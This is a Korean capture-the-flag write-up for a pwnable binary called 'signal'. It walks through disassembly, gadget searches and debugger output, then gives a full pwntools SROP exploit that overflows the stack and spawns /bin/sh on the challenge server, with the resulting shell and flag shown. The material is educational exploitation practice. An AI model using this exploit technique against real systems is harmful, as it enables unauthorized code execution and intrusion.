Signal

```
.shellcode:0000000000041000                 public _start
.shellcode:0000000000041000 _start          proc near               ; DATA XREF: LOAD:0000000000040018↑o
.shellcode:0000000000041000                                         ; LOAD:0000000000040088↑o
.shellcode:0000000000041000                 mov     rdi, 0          ; Alternative name is '_start'
.shellcode:0000000000041000                                         ; __start
.shellcode:0000000000041007                 mov     rsi, rsp
.shellcode:000000000004100A                 sub     rsi, 8
.shellcode:000000000004100E                 mov     rdx, 500
.shellcode:0000000000041015                 syscall                 ; LINUX -
.shellcode:0000000000041017                 retn
.shellcode:0000000000041017 _start          endp
.shellcode:0000000000041017
.shellcode:0000000000041018 ; ---------------------------------------------------------------------------
.shellcode:0000000000041018                 pop     rax
.shellcode:0000000000041019                 retn
.shellcode:0000000000041019 _shellcode      ends
```

바이너리의 코드는 위와 같다. x64 바이너리이고, 보호기법은 하나도 걸려있지 않다.

```
root@47ee1ebfdd11 /pwn
❯ ROPgadget --binary signal | grep "pop rdi"

root@47ee1ebfdd11 /pwn
❯ ROPgadget --binary signal | grep "pop rsi"

root@47ee1ebfdd11 /pwn
❯ ROPgadget --binary signal | grep "pop rdx"

root@47ee1ebfdd11 /pwn
❯ ROPgadget --binary signal | grep "pop rax"
0x0000000000041018 : pop rax ; ret

root@47ee1ebfdd11 /pwn
❯ ROPgadget --binary signal | grep "syscall"
0x0000000000041013 : add byte ptr [rax], al ; syscall
0x000000000004100f : mov edx, 0x1f4 ; syscall
0x000000000004100e : mov rdx, 0x1f4 ; syscall
0x0000000000041015 : syscall
```

ROP나 SROP 문제인 것 같아서 주요 가젯들 확인해보니 SROP 문제였다.

```
gef> find /bin/sh
[+] Searching '/bin/sh' in whole memory
[+] In '/pwn/signal' (0x41000-0x42000 [rwx])
  0x000000041250:    2f 62 69 6e 2f 73 68 00  00 00 00 00 00 00 00 00    |  /bin/sh.........  |
[+] Searching '/\x00b\x00i\x00n\x00/\x00s\x00h\x00' in whole memory
```

`/bin/sh` 문자열도 주어져서 `read()`, `execve()` 순으로 호출하면 될 것 같다.

```
gef> p $rsp
$1 = (void *) 0x7fffffffe630

gef> x/2gx 0x7fffffffe630
0x7fffffffe630: 0x4141414141414141      0x00007fffffffe80a
```

변수도 선언하지 않고 바로 입력받고 리턴해버려서 더미 값은 SFP만큼 즉, 8바이트만 입력하면 된다.
위는 더미값을 16바이트 입력해서 리턴 주소가 덮어 씌워진 모습이다.

Exploit

```python
from pwn import *

# context.log_level = 'debug'
context.arch = 'amd64'
# context.terminal = ['tmux', 'splitw', '-h']
# context.bits = 64

# p = process('./signal')
p = remote('realsung.kr', 9888)

e = ELF('./signal')
# libc = ELF('')

# gdb.attach(proc.pidof(p)[0])

def slog(name, addr): return success(': '.join([name, hex(addr)]))

binsh = 0x000000041250
pop_rax = 0x0000000000041018
syscall = 0x0000000000041015

# execve("/bin/sh", 0, 0)
frame2 = SigreturnFrame()
frame2.rip = syscall
frame2.rax = 0x3b
frame2.rsp = binsh
frame2.rdi = binsh

pay = b"S" * 0x8
pay += p64(pop_rax)
pay += p64(15)
pay += p64(syscall)
pay += bytes(frame2)

p.sendline(pay)
p.interactive()
```

SROP 문제랑 주어진 조건이 비슷해서 조금만 수정하면 된다.

```
root@47ee1ebfdd11 /pwn
❯ python3 sig.py
[+] Opening connection to realsung.kr on port 9888: Done
[*] '/pwn/signal'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX unknown - GNU_STACK missing
    PIE:      No PIE (0x40000)
    Stack:    Executable
    RWX:      Has RWX segments
[*] Switching to interactive mode
$ id
uid=1000(pwn) gid=1000(pwn) groups=1000(pwn)
$ cat flag
flag{Sm411B1n_L4rg3B1n..}
```